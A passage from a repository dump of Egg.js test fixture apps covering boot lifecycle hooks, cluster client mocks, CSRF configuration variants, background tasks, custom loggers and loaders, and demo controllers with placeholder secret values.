    "content": "const assert = require('assert');\nconst { scheduler } = require('node:timers/promises');\n\nmodule.exports = class CustomBoot {\n  constructor(agent) {\n    this.agent = agent;\n    agent.bootLog = [];\n    assert(this.agent.config);\n    agent.messenger.on('egg-ready', () => {\n      this.agent.logger.info('agent messenger egg-ready event');\n      agent.messenger.sendToApp('agent2app');\n    });\n  }\n\n  configDidLoad() {\n    this.agent.bootLog.push('configDidLoad');\n  }\n\n  async didLoad() {\n    await scheduler.wait(1);\n    this.agent.bootLog.push('didLoad');\n  }\n\n  async willReady() {\n    await scheduler.wait(1);\n    this.agent.bootLog.push('willReady');\n  }\n\n  async didReady() {\n    await scheduler.wait(1);\n    this.agent.bootLog.push('didReady');\n    this.agent.logger.info('agent is ready');\n  }\n\n  async beforeClose() {\n    await scheduler.wait(1);\n    this.agent.bootLog.push('beforeClose');\n  }\n\n  async serverDidReady() {\n    await scheduler.wait(1);\n    this.agent.bootLog.push('serverDidReady');\n  }\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/boot-app/app.js",
    "content": "const assert = require('assert');\nconst { scheduler } = require('node:timers/promises');\n\nmodule.exports = class CustomBoot {\n  constructor(app) {\n    this.app = app;\n    app.bootLog = [];\n    assert(this.app.config);\n    app.messenger.on('agent2app', () => {\n      app.messengerLog = true;\n    });\n    app.messenger.on('egg-ready', () => {\n      app.logger.info('app messenger egg-ready event');\n    });\n  }\n\n  configDidLoad() {\n    this.app.bootLog.push('configDidLoad');\n  }\n\n  async didLoad() {\n    await scheduler.wait(1);\n    this.app.bootLog.push('didLoad');\n  }\n\n  async willReady() {\n    await scheduler.wait(1);\n    this.app.bootLog.push('willReady');\n  }\n\n  async didReady() {\n    await scheduler.wait(1);\n    this.app.bootLog.push('didReady');\n    this.app.logger.info('app is ready');\n  }\n\n  async beforeClose() {\n    await scheduler.wait(1);\n    this.app.bootLog.push('beforeClose');\n  }\n\n  async serverDidReady() {\n    await scheduler.wait(1);\n    this.app.bootLog.push('serverDidReady');\n  }\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/boot-app/package.json",
    "content": "{\n  \"name\": \"boot-app\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/boot-app-esm/agent.js",
    "content": "import assert from 'node:assert';\nimport { scheduler } from 'node:timers/promises';\n\nimport { Boot } from '../../../../src/index.js';\n\nexport default class CustomBoot extends Boot {\n  constructor(agent) {\n    super(agent);\n    agent.bootLog = [];\n    assert(this.config);\n    agent.messenger.on('egg-ready', () => {\n      agent.messenger.sendToApp('agent2app');\n    });\n  }\n\n  configDidLoad() {\n    this.agent.bootLog.push('configDidLoad');\n  }\n\n  async didLoad() {\n    await scheduler.wait(1);\n    this.agent.bootLog.push('didLoad');\n  }\n\n  async willReady() {\n    await scheduler.wait(1);\n    this.agent.bootLog.push('willReady');\n  }\n\n  async didReady() {\n    await scheduler.wait(1);\n    this.agent.bootLog.push('didReady');\n    this.logger.info('agent is ready');\n  }\n\n  async beforeClose() {\n    await scheduler.wait(1);\n    this.agent.bootLog.push('beforeClose');\n  }\n\n  async serverDidReady() {\n    await scheduler.wait(1);\n    this.agent.bootLog.push('serverDidReady');\n  }\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/boot-app-esm/app.js",
    "content": "import assert from 'node:assert';\nimport { scheduler } from 'node:timers/promises';\n\nimport { Boot } from '../../../../src/index.js';\n\nexport default class CustomBoot extends Boot {\n  constructor(app) {\n    super(app);\n    app.bootLog = [];\n    assert(this.config);\n    assert(this.fullPath);\n    app.messenger.on('agent2app', () => {\n      app.messengerLog = true;\n    });\n  }\n\n  configDidLoad() {\n    this.app.bootLog.push('configDidLoad');\n  }\n\n  async didLoad() {\n    await scheduler.wait(1);\n    this.app.bootLog.push('didLoad');\n  }\n\n  async willReady() {\n    await scheduler.wait(1);\n    this.app.bootLog.push('willReady');\n  }\n\n  async didReady() {\n    await scheduler.wait(1);\n    this.app.bootLog.push('didReady');\n    this.logger.info('app is ready');\n  }\n\n  async beforeClose() {\n    await scheduler.wait(1);\n    this.app.bootLog.push('beforeClose');\n  }\n\n  async serverDidReady() {\n    await scheduler.wait(1);\n    this.app.bootLog.push('serverDidReady');\n  }\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/boot-app-esm/package.json",
    "content": "{\n  \"name\": \"boot-app-esm\",\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/close-watcher-logrotator/config/config.default.js",
    "content": "exports.keys = 'foo';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/close-watcher-logrotator/config/plugin.js",
    "content": "exports.logrotator = false;\nexports.watcher = false;\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/close-watcher-logrotator/package.json",
    "content": "{\n  \"name\": \"close-watcher-logrotator\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/cluster-client-error/app.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  const err = Error();\n  err.name = 'MockError';\n  throw err;\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/cluster-client-error/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/cluster-client-error/package.json",
    "content": "{\n  \"name\": \"cluster-client-error\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/cluster_mod_app/agent.js",
    "content": "const ApiClient = require('./lib/api_client');\nconst ApiClient2 = require('./lib/api_client_2');\nconst RegistryClient = require('./lib/registry_client');\n\nmodule.exports = class Boot {\n  constructor(agent) {\n    this.agent = agent;\n  }\n\n  async didLoad() {\n    const agent = this.agent;\n    agent.registryClient = agent.cluster(RegistryClient).create();\n    agent.apiClient = new ApiClient({\n      cluster: agent.cluster,\n    });\n    agent.apiClient2 = new ApiClient2({\n      cluster: agent.cluster,\n    });\n  }\n\n  async willReady() {\n    const agent = this.agent;\n    await agent.registryClient.ready();\n    await agent.apiClient.ready();\n    await agent.apiClient2.ready();\n  }\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/cluster_mod_app/app/controller/home.js",
    "content": "'use strict';\n\nexports.index = async function () {\n  this.body = 'hi cluster';\n};\n\nexports.getClusterPort = async function () {\n  this.body = this.app._options.clusterPort;\n};\n\nexports.getHosts = async function () {\n  this.body = this.app.val && this.app.val.map((url) => url.host).join(',');\n};\n\nexports.publish = async function () {\n  const val = this.request.body.value;\n  this.app.registryClient.publish({\n    dataId: 'demo.DemoService',\n    publishData: `dubbo://${val}:20880/demo.DemoService?anyhost=true&application=demo-provider&dubbo=2.0.0&generic=false&interface=demo.DemoService&loadbalance=roundrobin&methods=sayHello&owner=william&pid=81281&side=provider&timestamp=1481613276143`,\n  });\n  this.body = 'ok';\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/cluster_mod_app/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.get('/', app.controller.home.index);\n  app.get('/clusterPort', app.controller.home.getClusterPort);\n  app.post('/publish', app.controller.home.publish);\n  app.get('/getHosts', app.controller.home.getHosts);\n\n  app.get('/getDefaultTimeout', async function (ctx) {\n    ctx.body = await app.apiClient.getResponseTimeout();\n  });\n  app.get('/getOverwriteTimeout', async function (ctx) {\n    ctx.body = await app.apiClient2.getResponseTimeout();\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/cluster_mod_app/app.js",
    "content": "'use strict';\n\nconst ApiClient = require('./lib/api_client');\nconst ApiClient2 = require('./lib/api_client_2');\nconst RegistryClient = require('./lib/registry_client');\n\nmodule.exports = function (app) {\n  app.registryClient = app.cluster(RegistryClient).create();\n\n  app.registryClient.subscribe(\n    {\n      dataId: 'demo.DemoService',\n    },\n    (val) => {\n      app.val = val;\n    },\n  );\n\n  app.apiClient = new ApiClient({ cluster: app.cluster });\n  app.apiClient2 = new ApiClient2({ cluster: app.cluster });\n\n  app.beforeStart(async function () {\n    await app.registryClient.ready();\n    await app.apiClient.ready();\n    await app.apiClient2.ready();\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/cluster_mod_app/config/config.default.js",
    "content": "exports.keys = 'foo';\n\nexports.security = {\n  csrf: {\n    enable: false,\n  },\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/cluster_mod_app/lib/api_client.js",
    "content": "'use strict';\n\nconst APIClientBase = require('cluster-client').APIClientBase;\n\nclass ApiClient extends APIClientBase {\n  get DataClient() {\n    return require('./registry_client');\n  }\n\n  get clusterOptions() {\n    return {\n      name: 'ApiClient',\n    };\n  }\n\n  async getResponseTimeout() {\n    return this._client.options.responseTimeout;\n  }\n}\n\nmodule.exports = ApiClient;\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/cluster_mod_app/lib/api_client_2.js",
    "content": "'use strict';\n\nconst APIClientBase = require('cluster-client').APIClientBase;\n\nclass ApiClient2 extends APIClientBase {\n  get DataClient() {\n    return require('./registry_client');\n  }\n\n  get clusterOptions() {\n    return {\n      name: 'ApiClient2',\n      responseTimeout: 1000,\n    };\n  }\n\n  async getResponseTimeout() {\n    return this._client.options.responseTimeout;\n  }\n}\n\nmodule.exports = ApiClient2;\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/cluster_mod_app/lib/registry_client.js",
    "content": "const { parse } = require('node:url');\nconst { Base } = require('sdk-base');\n\nclass RegistryClient extends Base {\n  constructor() {\n    super();\n    this._registered = new Map();\n    this.ready(true);\n  }\n\n  /**\n   * subscribe\n   *\n   * @param {Object} reg\n   *   - {String} dataId - the dataId\n   * @param {Function}  listener - the listener\n   */\n  subscribe(reg, listener) {\n    const key = reg.dataId;\n    this.on(key, listener);\n\n    const data = this._registered.get(key);\n    if (data) {\n      process.nextTick(() => listener(data));\n    }\n  }\n\n  /**\n   * publish\n   *\n   * @param {Object} reg\n   *   - {String} dataId - the dataId\n   *   - {String} publishData - the publish data\n   */\n  publish(reg) {\n    const key = reg.dataId;\n\n    if (this._registered.has(key)) {\n      const arr = this._registered.get(key);\n      if (arr.indexOf(reg.publishData) === -1) {\n        arr.push(reg.publishData);\n      }\n    } else {\n      this._registered.set(key, [reg.publishData]);\n    }\n    this.emit(\n      key,\n      this._registered.get(key).map((url) => parse(url, true)),\n    );\n  }\n\n  close() {\n    this.closed = true;\n  }\n}\n\nmodule.exports = RegistryClient;\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/cluster_mod_app/package.json",
    "content": "{\n  \"name\": \"cluster_mod_app\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/config-env/.gitignore",
    "content": "custom_rundir\ncustom_logdir\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/config-env/config/config.default.js",
    "content": "exports.keys = 'test key';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/config-env/config/plugin.js",
    "content": "'use strict';\n\nexports.static = false;\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/config-env/package.json",
    "content": "{\n  \"name\": \"config-env\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/confused-configuration/config/config.default.js",
    "content": "'use strict';\n\nexports.middlewares = [];\nexports.bodyparser = {};\nexports.sitefile = {};\nexports.notFound = {};\nexports.httpClient = {};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/confused-configuration/package.json",
    "content": "{\n  \"name\": \"confused-configuration\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/context-config-app/app/controller/home.js",
    "content": "'use strict';\n\nexports.index = async (ctx) => {\n  const router = ctx.router;\n  // set router ok too\n  ctx.router = router;\n  ctx.body = {\n    path: ctx.router.pathFor('home'),\n    foo: ctx.foo,\n    bar: ctx.bar(),\n  };\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/context-config-app/app/extend/context.js",
    "content": "module.exports = {\n  foo: 1,\n  bar: function () {\n    return 2;\n  },\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/context-config-app/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('home', '/', 'home.index');\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/context-config-app/config/config.js",
    "content": "exports.security = {\n  csrf: false,\n};\n\nexports.keys = 'foo';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/context-config-app/config/config.local.js",
    "content": "'use stirct';\n\nexports.logger = {\n  stdoutLevel: 'NONE',\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/context-config-app/package.json",
    "content": "{\n  \"name\": \"context-config-app\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/context_httpclient/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/context_httpclient/package.json",
    "content": "{\n  \"name\": \"context_httpclient\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/context_httpclient_timeout/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n\nexports.httpclient = {\n  httpAgent: {\n    timeout: 1000,\n  },\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/context_httpclient_timeout/package.json",
    "content": "{\n  \"name\": \"context_httpclient_timeout\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/csrf-disable/app/controller/api.js",
    "content": "'use strict';\n\nexports.user = function () {\n  this.body = {\n    url: this.url,\n    name: this.request.body.name,\n  };\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/csrf-disable/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.post('/api/user', app.controller.api.user);\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/csrf-disable/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'fo';\n\nexports.security = {\n  csrf: false,\n  debug: 'csrf-disable',\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/csrf-disable/package.json",
    "content": "{\n  \"name\": \"csrf-disable\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/csrf-enable/app/controller/api.js",
    "content": "'use strict';\n\nexports.user = function () {\n  this.body = {\n    url: this.url,\n    name: this.query.name,\n  };\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/csrf-enable/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.get('/api/user.json', app.controller.api.user);\n  app.post('/api/user', app.controller.api.user);\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/csrf-enable/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'foo';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/csrf-enable/config/config.unittest.js",
    "content": "'use strict';\n\nexports.logger = {\n  consoleLevel: 'NONE',\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/csrf-enable/package.json",
    "content": "{\n  \"name\": \"csrf-enable\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/csrf-ignore/app/controller/api.js",
    "content": "'use strict';\n\nexports.user = function () {\n  this.body = {\n    url: this.url,\n    name: this.request.body.name,\n  };\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/csrf-ignore/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.post('/api/user', app.controller.api.user);\n  app.post('/api/user.json', app.controller.api.user);\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/csrf-ignore/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'foo';\n\nexports.security = {\n  csrf: {\n    ignore: /^\\/api\\//,\n  },\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/csrf-ignore/config/config.unittest.js",
    "content": "'use strict';\n\nexports.logger = {\n  consoleLevel: 'NONE',\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/csrf-ignore/package.json",
    "content": "{\n  \"name\": \"csrf-ignore\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/ctx-background/app/controller/app.js",
    "content": "const fs = require('fs/promises');\n\nmodule.exports = async (ctx) => {\n  ctx.body = 'hello app';\n  ctx.app.runInBackground(async function saveUserInfo(ctx) {\n    const buf = await fs.readFile(__filename);\n    ctx.logger.warn('mock background run at app result file size: %s', buf.length);\n  });\n\n  ctx.app.runInBackground(async (ctx) => {\n    const buf = await fs.readFile(__filename);\n    ctx.logger.warn('mock background run at app anonymous result file size: %s', buf.length);\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/ctx-background/app/controller/custom.js",
    "content": "const fs = require('fs/promises');\n\nmodule.exports = async (ctx) => {\n  ctx.body = 'hello';\n  const fn = async function saveUserInfo(ctx) {\n    const buf = await fs.readFile(__filename);\n    ctx.logger.warn('background run result file size: %s', buf.length);\n  };\n  fn._name = 'customTaskName';\n  ctx.runInBackground(fn);\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/ctx-background/app/controller/error.js",
    "content": "const fs = require('fs/promises');\n\nmodule.exports = async (ctx) => {\n  ctx.body = 'hello error';\n  ctx.runInBackground(async function mockError(ctx) {\n    const buf = await fs.readFile(__filename + '-not-exists');\n    ctx.logger.warn('background run result file size: %s', buf.length);\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/ctx-background/app/controller/home.js",
    "content": "const fs = require('fs/promises');\n\nmodule.exports = async function () {\n  this.body = 'hello';\n  this.runInBackground(async function saveUserInfo(ctx) {\n    const buf = await fs.readFile(__filename);\n    ctx.logger.warn('background run result file size: %s', buf.length);\n  });\n  this.runInBackground(async (ctx) => {\n    const buf = await fs.readFile(__filename);\n    ctx.logger.warn('mock background run anonymous result file size: %s', buf.length);\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/ctx-background/app/controller/sync.js",
    "content": "'use strict';\n\nmodule.exports = async (ctx) => {\n  const start = Date.now();\n  ctx.runInBackground(async () => {\n    const start = Date.now();\n    while (Date.now() - start < 100) {}\n  });\n  ctx.body = Date.now() - start;\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/ctx-background/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.get('/', app.controller.home);\n  app.get('/custom', app.controller.custom);\n  app.get('/app_background', app.controller.app);\n  app.get('/error', app.controller.error);\n  app.get('/sync', app.controller.sync);\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/ctx-background/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'foo';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/ctx-background/config/config.unittest.js",
    "content": "'use strict';\n\nexports.logger = {\n  consoleLevel: 'NONE',\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/ctx-background/package.json",
    "content": "{\n  \"name\": \"ctx-background\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/custom-context-getlogger/app/controller/home.js",
    "content": "module.exports = async function () {\n  const logger = this.getLogger('foo');\n  logger.info('hello');\n  this.body = 'work, logger: ' + (logger ? 'exists' : 'not exists');\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/custom-context-getlogger/app/extend/context.js",
    "content": "module.exports = {\n  getLogger(name) {\n    console.log('get custom %s logger', name);\n    return new this.app.ContextLogger(this, console);\n  },\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/custom-context-getlogger/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.get('/', 'home');\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/custom-context-getlogger/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'foo';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/custom-context-getlogger/package.json",
    "content": "{\n  \"name\": \"custom-context-getlogger\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/custom-env-app/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.get('/', async function () {\n    this.body = {\n      env: this.app.config.env,\n    };\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/custom-env-app/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'foo';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/custom-env-app/package.json",
    "content": "{\n  \"name\": \"custom-env-app\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/custom-framework-demo/app/controller/foo.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  return class Foo extends app.Controller {\n    *bar() {\n      this.ctx.body = 'this is bar!';\n    }\n  };\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/custom-framework-demo/app/controller/hello.js",
    "content": "'use strict';\n\nmodule.exports = async function () {\n  this.cookies.set('hi', 'foo');\n  this.body = 'hello';\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/custom-framework-demo/app/controller/home.js",
    "content": "module.exports = async function () {\n  this.body = {\n    workerTitle: process.title,\n  };\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/custom-framework-demo/app/controller/ip.js",
    "content": "module.exports = async function () {\n  if (this.query.set_ip) {\n    this.ip = this.query.set_ip;\n  }\n  this.body = {\n    ip: this.ip,\n  };\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/custom-framework-demo/app/controller/logger.js",
    "content": "'use strict';\n\nmodule.exports = async function () {\n  const message = this.query.message;\n\n  this.logger.debug('debug %s', message);\n  this.logger.info('info %s', message);\n  this.logger.warn('warn %s', message);\n  this.logger.error(new Error('error ' + message));\n\n  this.coreLogger.debug('core debug %s', message);\n  this.coreLogger.info('core info %s', message);\n  this.coreLogger.warn('core warn %s', message);\n  this.coreLogger.error(new Error('core error ' + message));\n\n  this.body = 'logger';\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/custom-framework-demo/app/controller/obj.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  return {\n    *bar() {\n      this.ctx.body = 'this is obj bar!';\n    },\n\n    *error() {\n      aaa;\n    },\n\n    subObj: {\n      *hello() {\n        this.ctx.body = 'this is subObj hello!';\n      },\n    },\n  };\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/custom-framework-demo/app/controller/obj2.js",
    "content": "'use strict';\n\nmodule.exports = {\n  *bar() {\n    this.ctx.body = 'this is obj bar!';\n  },\n\n  subObj: {\n    *hello() {\n      this.ctx.body = 'this is subObj hello!';\n    },\n\n    subSubObj: {\n      *hello() {\n        this.ctx.body = 'this is subSubObj hello!';\n      },\n    },\n  },\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/custom-framework-demo/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('home', '/', 'home');\n  app.get('/hello', app.controller.hello);\n  app.get('/logger', app.controller.logger);\n  app.get('/protocol', async function () {\n    this.body = this.protocol;\n  });\n\n  app.get('/user.json', app.jsonp(), async function () {\n    this.body = { name: 'fengmk2' };\n  });\n  app.get('/ip', app.controller.ip);\n\n  app.get('/class-controller', 'foo.bar');\n\n  app.get('/obj-controller', 'obj.bar');\n  app.get('/obj-error', 'obj.error');\n  app.get('/subobj-controller', 'obj.subObj.hello');\n\n  app.get('/obj2-controller', app.controller.obj2.bar);\n  app.get('/subobj2-controller', app.controller.obj2.subObj.hello);\n  app.get('/subSubObj-hello', app.controller.obj2.subObj.subSubObj.hello);\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/custom-framework-demo/app.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.ready(() => {\n    app.config.tips = 'hello egg started';\n    // dynamic router\n    app.all('/all', app.controller.home);\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/custom-framework-demo/config/config.default.js",
    "content": "exports.keys = 'foo';\nexports.proxy = true;\nexports.buffer = Buffer.from('test');\n\nexports.pass = 'this is pass';\nexports.pwd = 'this is pwd';\nexports.password = 'this is password';\nexports.passwordNew = 'this is passwordNew';\nexports.mysql = {\n  passd: 'this is passd',\n  passwd: 'this is passwd',\n  secret: 'secret 123',\n  secretNumber: 123,\n  secretBoolean: true,\n  masterKey: 'this is masterKey',\n  accessKey: 'this is accessKey',\n  accessId: 'this is accessId',\n  consumerSecret: 'this is consumerSecret',\n  someSecret: null,\n};\n\nexports.tips = 'hello egg';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/custom-framework-demo/index.js",
    "content": "const egg = require('../../../../');\n\negg.start().then((app) => {\n  app.listen(3000);\n  console.log('listen 3000');\n});\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/custom-framework-demo/package.json",
    "content": "{\n  \"name\": \"custom-framework-demo\",\n  \"egg\": {\n    \"framework\": \"../test/fixtures/custom-egg\"\n  }\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/custom-loader/app/adapter/docker.js",
    "content": "'use strict';\n\nclass DockerAdapter {\n  constructor(app) {\n    this.app = app;\n  }\n\n  async inspectDocker() {\n    return 'docker';\n  }\n}\n\nmodule.exports = DockerAdapter;\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/custom-loader/app/controller/user.js",
    "content": "'use strict';\n\nclass UserController {\n  constructor(ctx) {\n    this.ctx = ctx;\n    this.app = ctx.app;\n  }\n\n  async get() {\n    this.ctx.body = {\n      adapter: await this.app.adapter.docker.inspectDocker(),\n      repository: await this.ctx.repository.user.get(),\n    };\n  }\n\n  async beforeLoad() {\n    this.ctx.body = this.app.beforeLoad;\n  }\n}\n\nmodule.exports = UserController;\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/custom-loader/app/repository/user.js",
    "content": "'use strict';\n\nclass UserRepository {\n  constructor(ctx) {\n    this.ctx = ctx;\n  }\n\n  async get() {\n    return this.ctx.params.name;\n  }\n\n  async beforeLoad() {\n    return 'beforeLoad';\n  }\n}\n\nmodule.exports = UserRepository;\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/custom-loader/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.router.get('/users/:name', app.controller.user.get);\n  app.router.get('/beforeLoad', app.controller.user.beforeLoad);\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/custom-loader/app.js",
    "content": "'use strict';\n\nmodule.exports = class {\n  constructor(app) {\n    this.app = app;\n  }\n\n  async didLoad() {\n    const ctx = this.app.createAnonymousContext();\n    this.app.beforeLoad = await ctx.repository.user.beforeLoad();\n  }\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/custom-loader/config/config.default.js",
    "content": "'use strict';\n\nmodule.exports = {\n  keys: '123',\n  customLoader: {\n    adapter: {\n      directory: 'app/adapter',\n      inject: 'app',\n    },\n    repository: {\n      directory: 'app/repository',\n      inject: 'ctx',\n    },\n  },\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/custom-loader/package.json",
    "content": "{\n  \"name\": \"custom-loader\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/custom-logger/app/router.js",
    "content": "const { getCustomLogger, getLogger } = require('onelogger');\n\nmodule.exports = (app) => {\n  app.get('/', async (ctx) => {\n    const myLogger = getCustomLogger('myLogger', 'custom-logger-label');\n    const logger = getLogger();\n    myLogger.info('hello myLogger');\n    logger.warn('hello logger');\n    ctx.body = { ok: true };\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/custom-logger/config/config.default.js",
    "content": "const path = require('node:path');\n\nmodule.exports = (info) => {\n  return {\n    customLogger: {\n      myLogger: {\n        file: path.join(info.baseDir, 'logs/my.log'),\n        formatter: (meta) => meta.message,\n      },\n    },\n    keys: 'test key',\n  };\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/custom-logger/package.json",
    "content": "{\n  \"name\": \"custom-logger\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/demo/app/controller/foo.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  return class Foo extends app.Controller {\n    async bar() {\n      this.ctx.body = 'this is bar!';\n    }\n  };\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/demo/app/controller/hello.js",
    "content": "'use strict';\n\nmodule.exports = async function () {\n  this.cookies.set('hi', 'foo');\n  this.body = 'hello';\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/demo/app/controller/home.js",
    "content": "module.exports = async function () {\n  this.body = {\n    workerTitle: process.title,\n  };\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/demo/app/controller/ip.js",
    "content": "module.exports = async function () {\n  if (this.query.set_ip) {\n    this.ip = this.query.set_ip;\n  }\n  this.body = {\n    ip: this.ip,\n  };\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/demo/app/controller/logger.js",
    "content": "module.exports = async function () {\n  const message = this.query.message;\n\n  this.logger.debug('debug %s', message);\n  this.logger.info('info %s', message);\n  this.logger.warn('warn %s', message);\n  this.logger.error(new Error('error ' + message));\n\n  this.coreLogger.debug('core debug %s', message);\n  this.coreLogger.info('core info %s', message);\n  this.coreLogger.warn('core warn %s', message);\n  this.coreLogger.error(new Error('core error ' + message));\n\n  this.body = 'logger';\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/demo/app/controller/obj.js",
    "content": "module.exports = () => {\n  return {\n    async bar() {\n      this.ctx.body = 'this is obj bar!';\n    },\n\n    async error() {\n      aaa;\n    },\n\n    subObj: {\n      async hello() {\n        this.ctx.body = 'this is subObj hello!';\n      },\n    },\n  };\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/demo/app/controller/obj2.js",
